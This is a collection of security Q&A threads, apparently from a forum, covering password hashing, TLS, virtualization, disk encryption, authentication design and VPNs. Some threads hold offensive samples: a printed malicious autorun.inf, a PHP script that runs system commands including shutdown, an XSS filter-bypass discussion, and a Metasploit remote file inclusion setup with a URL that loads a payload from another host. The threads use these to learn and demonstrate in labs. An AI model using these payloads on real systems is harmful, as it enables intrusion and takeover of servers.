How Facebook hashes passwords I found this presentation how Facebook stores customer passwords and how they do authentication.

This slide shows how they hash passwords:

Is it a good idea to do such operations with a raw password? Isn't it "security-by-obscurity"? Does it make sense to do such operations with PBKDF2 as we're going to use?

This "Onion" construct can be dangerous and should only be done if you have enough reviewers, it does however add multiple favorable properties compared to simple hashing:

The first unsalted MD5 can be done by clients or frontend servers. It normalizes charset and length and obfuscates passwords early on without being too CPU intensive.

The salt is read from the user database so it is not present on the client, this is was the first HMAC adds.

The crypto service (or better HSM) defends against brute force (as the secret key is not known). In fact this predates NIST recommendations to do exactly this. This peppering is not often done as it requires complicated system setup (HSM or process isolation) - something Facebook can afford.

Since the pepper step could be compromised by insiders, the data is then passed to scrypt, a function designed to make brute force testing of passwords more expensive.

The final step might not be needed, or maybe it is used to add some diversification (SHA2 instead of SHA1).

It looks a bit like snake oil overdo but the steps can be reasonable explained. If you compare it with the (much weaker) glibc-SHA2 Voodoo it is really clean.

BTW1: memorable Authenticator are generally a bad thing, such schemes can only reduce the risk of handling them.

BTW2: collision weakness of SHA1 does not apply to HMAC constructs and the short MD5 hash size does not hurt much here (as passwords almost always have even less entropy). It would be more risky for key derivation, but that’s not the task at hand.


What cipher suites and protocols are being used? I would like to remove support for TLS 1.1 from my endpoints but want to make sure that TLS 1.1 is not being used by any clients to connect to the endpoints (so I can work with those users to update).  We are using an F5 in our colos and ELBs in AWS for TLS termination. Is the way to determine what protocols and cipher suites are actually being used for connections?

For AWS ELB, you can enable access logs to AWS S3 and get the TLS version and cipher suite for each request: https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html

In my experience, TLS1.1 is never used, TLS1.0 is used by bots (that also send a User Agent strings masquerading as real browsers). But your user base might be different.


What are the security precautions taken to ensure a virtualized domain can't compromise its host I recently started learning about xen and became more interested in visualization. I read a few whitepapers, did a search here, but couldn't find an answer. My guess is someone will link me to some helpful documents.

Say I'm using a domU in xen (or a virtual machine on whatever platform).

How does the computer prevent the virtualized machine from executing arbitrary instructions?

Since the dom0 or host machine has to execute the instructions the domU needs...shouldn't it be easy?

How can you possibly validate that something is sandboxed? and (one more time in different words) what are the steps taken to sandbox these?

The implementation of the virtual machine is a kernel for the kernel.

In a typical operating system, there is application code (aka "userland") and kernel code. They use the same set of instructions; however, the CPU knows, at any time, whether it is executing application or kernel code. When application code tries to execute some opcodes which access the hardware (the in and out opcodes for x86), the CPU traps: it temporarily jumps to kernel code (the address of that code is registered in a specific table). The kernel code decides what to do with the access (grant it, modify it, kill the application process...). If the kernel code decides to grant the access, or the kernel blocks it but pretends to have performed it, then application code can believe that it could access the hardware directly.

Similarly, when application code reads or writes data in memory, it uses an abstraction of memory: a virtual address space which is mapped to physical memory (or not...) through the MMU. The MMU uses tables that the kernel fills (and, of course, the kernel takes care not to make these tables part of the address space visible from the application code). This way, the application is in a magical world where it is alone in a big address space, whereas in reality there are several concurrently executed applications, which cannot see each other.

A virtual machine uses the same structure, one level up. When the kernel accesses the hardware or the MMU, it actually is under scrutiny of the virtual machine implementation (the hypervisor) which traps unwanted accesses.

Particulars vary quite a lot. The main distinction is whether the kernel is aware that it runs in a virtual machine or not. With Xen, the kernel is aware; it knows that it is under control of a superior deity (the hypervisor) and does not try to tap into the hardware directly; instead, it asks nicely through a dedicated interface. With VirtualBox, the kernel is not aware; the guest operating system believes that it runs on true hardware, and the VM works hard to maintain the illusion.

Other differences can be made on the means by which virtualization is enforced (i.e. how the hypervisor can trap kernel code). Recent x86 processors offer some specific support with dedicated opcodes. Older x86 processors, in 32-bit mode, can use the various remnants of older protection mechanisms (segment registers and the four "rings", mostly)(these have been removed from 64-bit mode, which is why 64-bit VM must use AMD-V/VT-x). Other techniques include emulating each virtualized opcode (for the whole of the emulated machine, or parts of it), possibly with more-or-less dynamic translation (aka JIT compilation), aas QEMU does in cross-CPU situations.

There is a whole paraphernalia of terms on the subject (virtualization, paravirtualization, emulation, simulation, hypervisor...) which is not completely consensual, and often quite byzantine. Some readers who cling to some specific doctrines of terminology have probably been somewhat irritated by the loose way I use the terms.


What are the good use cases for disk encryption? I've been researching disk/file system encryption, and on the surface it seems like a good idea for a lot of things. But as I dig further, the security it offers seems more mirage like than real.

For example, it seems like there is little point in encrypting your file systems in a data center somewhere, because the employees there need to be have physical access to the system in order for backups to be made, replacing failed hardware, that sort of thing. And if the server reboots, you have to supply it with the key/passphrase for it to boot up. If you don't give them that, you probably have to figure out how to ssh in or something to provide that, which is
a) a PITA, and
b) not really that secure anyway, since if they can physically access the machine they could theoretically read the memory and the key etc.

If someone hacks in via the network, then it does not matter that your data is encrypted because if someone has root they will see plain text. So it seems to me that it would be more worthwhile putting effort into finding a data center with people/security you trust, OR hosting it yourself if you are that paranoid. Encrypting a filesystem on a system you don't have physical control over seems to me to be about as secure as DRM and for similar reasons.

Where file system encryption does seem to make some sense is in storing backups - if you store in multiple off-site locations, you may not be able to trust them as well, so encryption would be welcome. If you stored backups of the keys and pass-phrases in different areas, it still might be worth doing because it is a lot easier to hide a USB key than it is to hide a HDD or tape.

Another area it seems to make some sense is in a laptop. Keeping a USB key on your person along with an encrypted drive on your laptop would be good security if the laptop got stolen. Never letting the laptop out of your sight might be nearly as good though.

If you control physical security and have access to the machine (e.g. server, workstation or desktop at home for example), it could conceivably be a good idea to encrypt. Again, controlling and securing a USB key is a lot easier than securing a computer system.

Those are the conclusions I've come to so far, but there is a good chance I'm overlooking something - which is why I thought I'd ask here. Thoughts? Agree? Disagree?

In a data center, disk encryption can be useful for handling old disks: when a disk fails, you can simply discard (recycle) it, because the data it may still contain is encrypted and cannot be recovered without the corresponding key (this assumes that the server has the encryption key somewhere on its "system" disk -- or some other device -- and that the failed disk is not a system disk). Otherwise, disposal of failed disk is an issue (you want the equivalent of a shredder, e.g. a cauldron full of acid).

For laptops, disk encryption is useful only if the laptop cannot be stolen with the decryption dongle, which, in practice, means that the user must have the dongle attached to its wrist, not simply kept plugged in the laptop. It also means that the dongle must be used regularly, not just at boot time (also, take "sleep mode" into account: users reboot very rarely). It can be predicted that users will actively resist such security features (and a security system that the user works around is worse than having no security system at all).


OAuth & SAML integration or better approach Could anyone explain what would be the best approach for this scenario?:
There are 2 separate Service Providers:

System A is a server that works as a rest API for a mobile application.
System B is a website which login is handled with simple and plain cookies.

I have read a lot and Ive found that the most used protocols in use right now for these kind of systems are SAML and OAuth, where OAuth works specially to give security to API services and SAML for web applications (cookie based).

Ideally, what is being looked for is a single log in, which is right now handled for System B through cookies in the main domain.

Is there a way to use both SAML and OAuth? Or What would be a good way to go?

So most application are going to use SAML or OAuth, not both.  And SAML is a lot more involved than a simple cookie.

If your primary focus is authentication for multiple systems, and you don't have a federated auth provided in place today that will give you the infrastructure for SAML, I'd stick with OAuth, and if you need a authentication/profile provider that is more heavily specified than the bare OAuth spec, I'd look into OpenID Connect, which is a additional standard on top of OAuth 2.0.


How to compare hashes with bcrypt when the salt is different? There are different ways to perform a MAC, but without doubt the most used and efficient in many cases is HMAC, this serves to verify that the message has not been altered. A hash such as sha-256, sha-512 or bcrypt is regularly used.

That is my first doubt. bcrypt never generates the same hash, how do I see if the hash of the sender is equal to that of the receiver if they will never be the same (because they implement a SALT)?

The sender needs to send the salt along with the hash so that the receiver uses the same salt when computing the bcrypt hash.

That said, bcrypt is designed to be a password hashing function, it's not meant to be used inside an HMAC. There is no need to use a salted hash with an HMAC, so I would suggest you use HMAC-SHA256.


Is there a security reason for a site to limit the number of times a user can change their password? Is there a security reason to disallow a user to change their password as frequently as they want? I have found this security policy in a site and I am not sure why it is enforcing it.

One reason I can imagine is that the change password functionality is a 'costly procedure', and changing it multiple times in a row can provoke a DoS on the site or produce too much traffic in the mail server that sends an email each time a password is changed.

Any other reason?

Note: I have found a similar question here: Is there any conceivable reason to prevent a password change in an authentication system?

The real reason why such policies are in place is because they are in place by default. That's how things go in Active Directory:

Passwords expire after 42 days.
When changing his password, the (non-admin) user cannot reuse one of his 24 previous passwords.
User cannot change his password twice within the same 24-hour frame.

So you will encounter such things a lot, mostly because it would require efforts and understanding to set them otherwise. Most people go through their life in a state of blissful ignorance and laziness, and sysadmins are no exception.

When a rationale for the third property (24 hours between password changes) is needed, the oft-cited reason is what @bobince says: to prevent a snarky user from cycling through 23 dummy passwords to get back at his initial password, because that would contradict the first rule (no password reuse).

Of course, such rules won't prevent users from using "sequence passwords": Password37, Password38, Password39... which somehow defeats the purpose of forcing password expiry (purpose which is already of very dubious value). And preventing the user from changing his password as often as he wants also means that the user cannot change his password as often as he needs: if the user notices a shoulder surfer who just stole his password, a security aware user would like to quickly change his own password, which would be, in that case, a very good idea. The rule against password change may prevent that.


How can a debit card provide different answers when the same challenge is sent to it multiple times? I do only banking with my "PostFinance" debit card. The sign-in protocol works like this:

Enter user name and password into web form.
Get a 9 digit challenge number on website.
Type the challenge number into an offline standalone card reader with the debit card inserted.
Enter PIN into card reader.
Get a response 9 digit number from the card reader.
Type response number into web form.

I assumed this was some kind of asymmetric cryptography, with the card containing a private key unlocked with the pin, "signing" the challenge number and the bank verifying the signature with a "public" (not actually public) key.

But then I was idly wondering what the first thing would be that an attacker / security researcher would try and entered the challenge "1" multiple times. The answer was different each time:

The first 3 digits seam to increase monotonically in small steps (~10 samples). The other 6 digits didn't follow a pattern I picked up, i.e. they seemed random.

Does anyone know how this works?

Most probably there is a counter involved (or even better, if either the card or the reader is equipped with an internal clock and battery, a timestamp).

The secret key involved here may be either a symmetric or an asymmetric one, I do not think this would change anything here (there is no requirement for the bank to not know this secret).

However, as you were wondering, using this secret key to directly encode the challenge would allow an attacker to either generate a pile of answers by advance, or note the answer of the challenge you got and try to replay it to get another payment asking the same challenge accepted.

The goal here is to ensure that, even with the same challenge, the correct answer must always be different. For this, you will add either a counter (the cheap solution) or a timestamp (the most reliable one as it allows the answer to expire) to the challenge before applying the secret key to generate the answer.

On the server side:

If a counter is used, it ensures that the answer you provides bears a counter strictly larger than the previous answer you provided, either for the same or a previous payment. If it happens that your answer seems valid but bears a smaller counter, this most likely mean that this answer has been replayed and that something fishy is currently going-on with your card (a few events like this and you may receive a notification from your bank, depending on their level of service).
If a timestamp is used, the server simply has to check that the answer has been generated after the challenge has been sent to ensure that there is no replay attempt.


What should students learn about security in an introductory programming course? Some folks have advocated that security should be integrated into computer science coursework, throughout the curriculum.  Suppose we are going to add one lecture on security, to a first course on programming.  (Keep in mind that it is a very basic introductory course, so advanced topics are not appropriate.)  What are the most important things that students should learn about security, in that context?

Security education should be contextual. There's not a lot to say about security when you're studying red-black trees or merge sort. But security should be a constant and pervasive factor as part of everything the student does.

Any security-related items should be required as a matter of course; bounds-checking and input sanitization, for example, should be absolutely required in all assignments. If the examiner can break the homework application by supplying invalid input, then points should be deducted. If array bounds aren't properly checked (assuming an unsafe language like C), then points off. It should't be sufficient to just have the thing pass the assigned test-case, it also has to be well-enough written that in a real-world scenario it wouldn't cause a disaster.

The students need to be used to always worrying about robustness and security the same way that chemistry students always should be worrying about lab safety. Security isn't something you study one semester and then move on.

If you're going to have a single lecture at the beginning about security, then it should primarily cover the security-related expectations that the students will be under. These expectations should be real-world expectations with respect to coding practices and should reflect the sort of vigilance that is always in the back of the mind for a good programmer.

This breaks down into several main areas, not all of which are appropriate for every language and every programming environment, here are a few that come to mind:

Language safety: An extremely big deal with C/C++, not so much with most everything else. Pointers, buffers, and that sort of thing fall into this category.
Input sanitization: Huge. Absolutely huge. I can't think of a single area in which this is not applicable.
Code clarity and documentation: Worth more than it sounds like. Many security vulnerabilities come from simple mistakes which stem from a misunderstanding of the code itself. The fewer mistakes you make, the better, even in the context of security.

Also, I'd throw in principles like "DRY" into this mix, since security vulnerabilities sometimes are the result of assumptions being out-of-sync within the code. The more places you specify a single value, the more likely you'll forget to change one of them, which can lead to security vulnerabilities. I remember a "no magic numbers" homework rule when I studied CS, where all numeric constants had to be assigned a name. It's a good policy to have for many reasons.
Privilege isolation: A bit more esoteric, but important in certain scenarios. The principle of least privilege is something that students need to at least be familiar with, for example; but it's difficult to make part of your day-to-day activity.
Security-specific items: Such as password storage, encryption, and stuff like that. This is more informational than directly applicable with respect to schoolwork, so I'm not sure where it fits in with respect to lesson scheduling.

It's important to learn about attacks like CSRF and token-stealing
attacks in the more abstract sense, but probably not in an
introductory course since it's a little advanced.


I found a virus on my USB stick. Now what? I discovered a file, named autorun.ini on my USB flash drive:

[AutoRun]
;FjYfoT
;jpId  UagEbddsb PCjo
oPEn = efhcnu.exe
sheLl\open\DEfault=1
;utvDpsMqpT dDustbemW XyAy WeywFbvaVA eQnK
sHeLL\open\COmmanD = efhcnu.exe
;uRprWb
ShEll\expLore\coMmANd = efhcnu.exe
;kdtrelceNy uEeF gFTf
shEll\autoPLAy\commAND = efhcnu.exe

Both it and the accompanying efhcnu.exe are hidden under windows and are visible only after "Show system files" is enabled.
efhcnu.exe has size 168kB.
My priorities are:

identify which computers were infected and what is the damage
remove the malware
report this incident to the public

How should I proceed?

Step 1 - Nuke your USB drive. Format the thing.

Step 2 - Nuke all the computers that you have used the USB drive with in the period which you suspect the drive has been infected.

Step 3 - Change your passwords.

Step 4 - Submit the malware to something like VirusTotal. It will ensure that most of the major antivirus vendors pick up on it.

Step 5 - Harden all Windows computers you work with by following guidelines posted by NIST, including disabling all autorun features for all types of media.


Snoopers Charter VPN advice needed With the Snoopers Charter coming soon in the UK, I intend to start using a VPN service. Disregarding issues of the VPN logging user details or leaving my IP address discoverable, what other potential personal information leaks should I be aware of?

For instance, websites take a machine ID, package and sell it on. What would using a VPN do to protect against, say Google matching my machine ID when not using the VPN (they have this ID now) with my VPN-enabled sessions? Or would it be the machine ID of the VPN server that is collected?

If I don't use the VPN before and during all online activity, can I be matched and identified using browser persistent storage? Would I have to track down and eliminate all persistent storage and cookies before the first time I use the VPN?

Is P2P secured? Is Usenet secured?

Should I quit the VPN before signing in to webmail or any other subscribed website?

I assume I will have to kill my Windows logon and switch to a local-only account.

Currently my ISP uses IPV4 and dynamic IP allocation. I won't use TOR - it is way too slow.

we currently don't know how the snoopers charter will affect VPNs.

section 50 of the snoopers charter states:

‘It is the duty of a telecommunications operator who is obtaining or disclosing communications data, in response to a request or requirement for the data in pursuance of an authorisation, to obtain or disclose the data in a way that minimises the amount of data that needs to be processed for the purpose concerned’

VPNs can technically be considered as a telecommunications operator thanks to some of the wording used in other parts of the bill, but most VPNs in the UK have been ignoring the government when it comes to things like Piracy and web site blocking.

The answer is there is no way of telling at this moment in time, the snoopers charter may change as it makes its way through the houses and won't come into law an till 2016.

You are better off using TOR at the moment, its getting faster and more nodes are appearing.


I can't get gpg-zip to work. What am I doing wrong? I haven't used gpg-zip before. I am trying to compress and encrypt a directory with more than 200 files. I did a test run with a smaller directory containing just a dozen PDFs in it, a folder I'll call "PDFfolder."

man gpg-zip offers the following template as a guide for a user named Bob who wants to do this with a directory labeled "mydocs":

 gpg-zip --encrypt --output test1 --gpg-args -r Bob mydocs

I did this precisely, using my email address, which is also attached to my PGP public key, and of course tied to my user ID in my own public key ring:

 gpg-zip --encrypt --output test1 --gpg-args -r myemail@emymail.com PDFfolder

I keep getting the following error:

gpg: missing argument for option "-r"
/bin/tar: myemail@emymail.com: Cannot stat: No such file or directory

What am I doing wrong?

I should add that the "-r" argument works just fine for me using gpg normally, to encrypt.

The man page is kind of misleading. There should only be a single parameter following the --gpg-args, i.e. you need to quote it properly:

  gpg-zip --encrypt --output test1 --gpg-args '-r myemail@emymail.com' PDFfolder

Apart from that you can just use the -r or --recipient option of gpg-zip directly (this is documented), there is no need to use it with --gpg-args.


How do I restrict network access to LAN for visitors How do I restrict network access to LAN for visitors?

In my organization's premises any outside visitor can come and connect to the LAN ports in our meeting rooms. We have seen that they are able to ping internal systems. How can I prevent this issue?

The solution really depends on what your environment is, and what you're willing to put into place. There are a few solutions that come into mind, including the ones mentioned in other answers here:

Separate VLANs for public meeting spaces, and internal workstations. The downside of this is that a smart attacker can perform a VLAN hop (depending on the implementation), and end up in your workstation VLAN.
802.1X, which requires you to implement a RADIUS server, and a fair bit of management on user workstations to ensure that they have the right authentication profiles and certificates to talk to your network.
Network Access Control (or in Cisco language, Network Admission Control) which lets you authenticate users using LDAP, based on MAC address, or other mechanisms depending on your NAC implementation.

Of these three, VLAN is probably the cheapest in terms of effort on your part in configuring the environment - you don't have to do anything on user workstations, and you just have to ensure a proper segmentation of the network. 802.1x is more expensive in terms of effort and adoption, but still cheaper than a NAC solution. The NAC solution is probably going to be the most effective, and most expensive of the three, especially if you get a solution that doesn't need to deploy an agent on the workstations. It will still require some user training depending on how you implement it, but it is much harder to bypass a NAC control than it is to bypass VLAN restrictions.


Running Apache as system service on Windows 2003 R2 64-bit Trying to make my point, that running Apache with PHP5 module as Windows service is not secure.

All I got to prove it - FTP access to some internal website.
So what I did - I uploaded file test.php with content:

<?php
  system('whoami'); // output: nt authority\system
  file_put_contents('C:\test.txt', 'this server is hacked');
  echo file_get_contents('C:\test.txt'); // output: this server is hacked
  system('ping 127.0.0.1'); // Ping output: 4 packets sent, 4 received
  system('net stop apache2.2'); // No Output
  system('shutdown /r /f /t 1'); // No Output
?>

Then I hit browser at: http://10.0.0.254/test.php

All commands executed, except shutdown and net stop.

Windows, Apache and PHP configurations are default.

Is it true that running Windows+Apache+PHP out of box, safe enough from executing major system commands like shutdown?

That the PHP engine runs as a user with some extensive privileges is not "insecure" by itself. It depends on the context. If some attacker can induce your Apache/PHP to run arbitrary commands of his own, then you already are in rather deep trouble: this is sufficient to access whatever data the site code uses, to alter the site so as to fool other site users, or to serve as relay for another attack on some other sites. Giving the attacker some more extensive access to the local machine adds insult to injury, but this is not the biggest issue in such a situation.

Running Apache/PHP as a less-privileged user is a good idea, of course -- but believing that this would achieve security is not. It is merely damage containment. It just prevents an attacker who has already taken over your site, to take over the physical machine as well (or, at least, to take it over too easily -- local privilege escalation holes are rather common anyway).


Using SELinux to isolate a binary AV scanner to only doing its job, scanning and detecting This question is a "would it be possible" rather than a "how to".

Can SELinux isolate a binary AV scanner, Kaspersky Endpoint Security for Linux for an example, to only do whats its suppose to do which is scan (read) and detect?

Imagine installing Kaspersky on a extremely sensitive machine. Leakage of information on the machine would cause severe damage. Kaspersky, while being a extremely well performing antivirus scanner and trusted company,is still a company outside of my home nation. Governmental influence, in this case Russia, could force without choice Kaspersky to upload malicious code through normal update processes onto our sensitive workstations, or exporting the files its reading back to home base exposing our information. These risks need to be avoided.

I'm not a SELinux expert, but i would think it would be possible. The way i see it, a couple rules would need to be enforce, wither it be enforced by SELinux or not.

The AV scanner should only be able to write to files within its own installed directory, insuring anything the program is creating can be strictly monitored and removed at will.
The AV scanner should only be able to read files outside its installed directory, it should not allowed to be creating or executing any files oustide of its installed directory.
The AV scanner needs to be monitored to ensure it is not exporting the files it is reading back to a remote server.

Is SELinux flexible enough to cover these risks? Or is the only answer here having access to the source code?

Yes, you could do this with SELinux - but why on earth would you want to?

You're requirements appear to skip over the most likely route for information leakage, and that which launched Kaspersky into the headlines recently and led to major changes in the way software is sourced and integrated. You make no mention of restricting network access. Again SELinux is quite capable of doing this.

  The way i see it, a couple rules

Ah, now we come to the tricky bit.

Not a couple of rules. A lot of rules.

It's relatively simple to do with apparmor. Or without any MAC, you could run it chroot with a read only loop back to the real filesystem (NFS, Fuse, Overlay) in its own network namespace with its own network routes / iptables.


Does the salt need to be unique or not predictable? I always thought that salts is simply used to prevent rainbow tables to be used. Other have suggest they should be unique on a per account basis. Currently i have been using a config file to use as salt. In the past i did md5(salt + password) but now i use .NET PBKDF2 via (pass, salt_from_config).

Have i been doing this wrong or not as securely? Should salts be unique or are they just non predictable so no one can generate a rainbow table ahead of time?

I posted an answer that explains this on another question, which should give give you a good background to all the major security concerns around password storage.

To answer your question more directly - a salt:

must be unique.
should be unpredictable.
should be unknown to potential attackers.

The problem with schemes like H(pass + username) is that the attacker knows the salt. So, whilst his ability to crack every password in the database with a single rainbow table is gone, he can create a rainbow table for key user accounts. This allows him to compute the rainbow table for a privileged user account (e.g. admin) ahead-of-time, then immediately use it once he breaches the database.

This is a problem, because it gives you no time to react to the breach. Seconds after you get alerted about the attack, the attacker has logged into your admin account. If the attacker is forced to crack the password after the breach, it gives you time to lock down privileged accounts and change passwords.

You could also look into a salt + pepper scheme, where the pepper is a second salt stored outside the database, e.g. in code. This helps prevent against the SQL injection model of attack, where the bad guy only has access to the database.

Best practice is something like this (feel free to omit the pepper):

hash = KDF(pass + pepper, salt, workFactor)

Where:

KDF is a strong, slow key-derivation function, such as bcrypt of PBKDF2.
pass is a strong password (enforce password policies!)
pepper is a long random constant value stored in your code.
salt is a long random unique value stored with the password in the database.
workFactor is appropriate for your hardware and security requirements.


Mutillidae XSS filter bypass I'm using the mutillidae to increase my hacking skills. I am trying to exploit the XSS in the username field in the registration form field with the toogle security 5. I tried everything that I know, but I still didn't manage to exploit it.

From the inspect element of that field (username):

<input htmlandxssandsqlinjectionpoint="1" name="username" size="15" autofocus="autofocus" minlength="1" maxlength="15" required="required" title="" type="text">

Can anyone please tell me why the payloads didn't work? What filters are in use?

For starters, the HTML input tag in this case is set to restrict input to 15 characters, so your standard <script>alert(1);</script> won't fit.  This can probably be circumvented by using an attack proxy such as OWASP ZAP or Burbsuite, which will allow you to submit responses that wouldn't normally be accepted.

There is no way to tell what server-side filters are in place by simply looking at the HTML code.  HTML is client-side, and client-side security can almost always be bypassed.  (Much like the character limit described above.)  It is likely that there are multiple layers of filtering that go on in the server after you submit the form.

There are two steps that you should try.  First, rather than starting off with a whole payload script, try just entering specific characters and combinations of characters, such as < and >.  See what characters get filtered out, and which ones become encoded or remain unfiltered.  Then try to craft an attack string that will bypass the filtering or is the decoded form of what you actually want.

The other thing you should do is to run a fuzzer on the application.  This will try a very large number of different attack strings, to try to find one that gets by the filtering.


Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit) I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I have my hosts file set up as follows:

192.168.56.101       Website1.com
192.168.56.101       Website2.com
192.168.56.101       Website3.com

Website1.com has a RFI vulnerability hosted at Website1.com/settings.php?file=XX where the file parameter has the Remote File Inclusion.

Now, I want to demonstrate getting a Meterpreter shell via Metasploit using the php_include exploit, under (unix/webapp/php_include). I have used this exploit many times in the past, however not with virtual hosting, and I can't get it too work. Currently my Basic Options are configured as follows:

Name      Current Setting                                                      Required  Description
----      ---------------                                                      --------  -----------
HEADERS                                                                        no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH      /                                                                    yes       The base directory to prepend to the URL to try
PHPRFIDB  /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI    /settings.php?file=XXpathXX                                          no        The URI to request, with the include parameter changed to XXpathXX
POSTDATA                                                                       no        The POST data to send, with the include parameter changed to XXpathXX
Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.56.101                                                       yes       The target address range or CIDR identifier
RPORT     80                                                                   yes       The target port (TCP)
SRVHOST   0.0.0.0                                                              yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT   80                                                                   yes       The local port to listen on.
SSL       false                                                                no        Negotiate SSL/TLS for outgoing connections
SSLCert                                                                        no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                                                                        no        The URI to use for this exploit (default is random)
VHOST     Website1.com                                                         no        HTTP server virtual host

I receive the following output:

[*] Started reverse TCP handler on 192.168.56.102:4443
[-] 192.168.56.101:80 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:80).
[*] Exploit completed, but no session was created.

So I have set it as a virtual host, but to me it looks like Metasploit is trying to connect directly to the RHOST still; maybe I am wrong?

Anyone advise on how to get this working on Virtual Hosts?

It's your web application  & whatever web server running it that's already listening on port 80. Metasploit is trying to start its own web server to the same port and fails. But there's no need to succeed: your actual problem has nothing to do with the VHOST option in unix/webapp/php_include.

As the web application has a remote file inclusion vulnerability, you'd include the payload code from an external server. If you only have one IP address for your demonstration, you'd just use another port e.g. 8080:

example.com/settings.php?file=http://192.168.56.101:8080/path/to/payload


Are there VPNs which don't log your activities? There are multiple VPN providers who claim that they don't log your activities. Are they being truthful? What if some users use their networks for illegal activities? When the law enforcing agencies come knocking will the VPN providers go to jail since they didn't log it?

The only way for you to know is if a given VPN provider (or an ISP for that matter) gives you access to their systems for you to see the configuration. And this is very likely to never happen on a large scale manner.
Therefore, you have to trust their claims and/or some third party auditing company which has done that work and vouch (with certain liability) for such statement.

All providers based in countries with modern legal systems have to comply with the law requests. If a judge orders them to log data from some user or certain type of activity they will have to do it or face the legal consequences (which vary from country to country...) of not doing so. But they can disagree with the judge's decision and fight, though it will get to a point where either they have to help the legal system or the legal system has to prove further that they need to break the very important right to privacy in such jurisdiction.

In any case, it is likely that the VPN services are not liable for the activities of their users in many jurisdictions.That being said... they may not be liable for the past activities and they can offer no help to any law enforcement since they do not have logs, but should they get a formal request from a judge (and do not fight it in court or do so but lose) they will have to either shut down their service or do what the request says (which is likely to say which user should be monitored).


Viewing SSL/TLS keys on the browser I would like to see the SSL/TLS keys of the websites which I'm communicating from the browser. Is there any simple way to view the SSL/TLS keys?

I read this beautiful article in which the author gets to know about the keys by building the firefox in debug mode.

I would like to know if it exists in any browser, through which I can view the SSL/TLS keys?

Based on your reference the SSL/TLS keys you refer to are the pre-master keys which can be used to decrypt a packet capture of the connection. Because of this use case they are only relevant for specific development and debugging. Therefore (and for security reasons) they are only available if you start the browser using a specific environment variable. And because the keys are binary and the tools you use to decrypt the traffic expect the keys in a file anyway it makes no sense to offer a GUI to show these keys.

Note that you don't need a debug mode of the browser to get these information. See Decrypting TLS Browser Traffic With Wireshark – The Easy Way!.


Is stand-alone one-time password less secure than OTP + traditional password auth? I have a client that would like to use one-time passwords (via SMS or Email) for their app, and their requirements spec does not include traditional password-based authentication. I haven't seen this done before -- would it be considered bad practice?

My assumption was that 2FA is generally more secure than 1FA, regardless of which "factor" you're using to authenticate. However, one could surmise that 1FA w/ OTP is more secure than 1FA w/ traditional password.

Not necessarily. This is a scheme where you don't want to store a password for the user.
Sometimes, this is done so that the user doesn't need to remember yet another password (in fact, there are users heavily relying on resetting the password every time, which produces a similar email-only "passsord").

There are also other parts surrounding this system that need to be taken into account:

Suppose we authenticate Alice by sending a SMS code to her phone. Eve is hanging out with her and, while Alice is away leaving her locked phone unattended, Eve logs in as Alice, reads the provided OTP code in the lock screen and performs malicious action. In this case OTP-only would be weaker, as an additional password would have prevented this attack.
SMS-only or email-only login mean that compromising such external service will immediately compromise your site account. See eg. Hackers Are Hijacking Phone Numbers And Breaking Into Email, Bank Accounts
Consider on the other hand that we require both a password from the user and that they have access to the email. We may consider that more secure than just requiring an email token. But then, how are you providing account recovery when the user forgets its password? Just by sending an email? Then the password doesn't provide additional security from an attacker that compromised your email.
Local token generation (like TOTP), are more robust against a third party compromising the service used as login. But phones (where people install them) break / are robbed and get changed much more often that you expect. So you still need to be able to allow some way of recovery for that.

The part I like most about not requiring a password is that it can sustain phishing easily:

Alice goes into the company.com and enters its username. The website sends her an email with a link to log in. At that point the opened page is no longer used. She goes to her email and browses from the safe link provided to her. Thus, a fake website can't lure her to provide an email code, to a phishing page, since navigation continues from the emailed link.
An attacker could send a fake email with a phishing link, but there arwould be no credentials to harvest there (hopefully, it won't make her enter their credit card details on the "just logged in page").

(Note that albeit less 'natural', you could do the same by requiring the password after following the link, or forcing to close the page after successfully providing the password, and continue on the link.)


Implementing MITM attack on MAN or WAN Is it possible to implement MITM attack on larger networks than LAN? For example is is possible to implement such an attack on the whole network of an ISP?

If you are said ISP or government, then yes it is possible. GCHQ surely has the capabilities to intercept huge chunks of Internet traffic. They are most likely able to do some amount of MITM but it's not been disclosed whether they do that or not as part of any program.

I would also assume that a competent adversary could break into an ISP and target a specific client of that ISP, though I've not heard of such attacks in years.


Can MITMf exploit SSL CCS vulnerability (CVE-2014-0224)? I just wonder if MITMf (https://github.com/byt3bl33d3r/MITMf) can be used to exploit the 2014 early CCS bug, or is there a tool out there which can (preferably open source, so I will be able to understand the way of exploitation)?

Exploiting this weakness isn't implemented in MITMf. So you can't just start it and exploit this vulnerablity out of the box. But MITMf is extendable so if it's worth the effort you can implement this attack or combine MITMf with some other tool that is capeable of exploiting this weakness.


Regarding Forget password security implementation Need your suggestion on this.

Consider We have a mobile application and massive number of users. We want to implement secure password reset functionality with the consent of user experience.

Assumption - Here we all assume that hacker has stolen the phone of victim hence traditional password reset implementation will certainly not work as:

If We send password reset OTP on phone, hacker has victim's phone already. Hence no use.
If We send password reset token, hacker has victim's phone where in majority case email id is linked and opened in the phone. Hence no use.

Current implementation - If someone requests password reset request, we give them new password after 24 hours. We keep this time window so that if user's phone is stolen and hacker sends password reset request, then user must be able to report us within 24 hours so that hacker does not do any malicious activity from his/her account.

Problem - We need to reconstruct this implementation by assuming two thing in advance that user's phone is stolen and hacker has sent reset password request to us and user has not reported us that his/her phone is stolen in 24 hours. How can we identify achieve this task without identifying that the user is legitimate or not and still user's account remain secure?

Couple of Solutions:

We start providing hardware tokens (RSA token, VASCO token) to our users so that even if phone gets stolen, to reset and use new password hacker will have to physically access these tokens to login. (Problem - It is impossible for us to provide 500000 of hardware tokens for our users.
Trusted numbers - While registering, user adds two trusted number which is stored in our database. With the reset password request, we provide password in two separation on those trusted numbers and user can access application by combining those. (Problem - User experience becomes tricky and unacceptable)
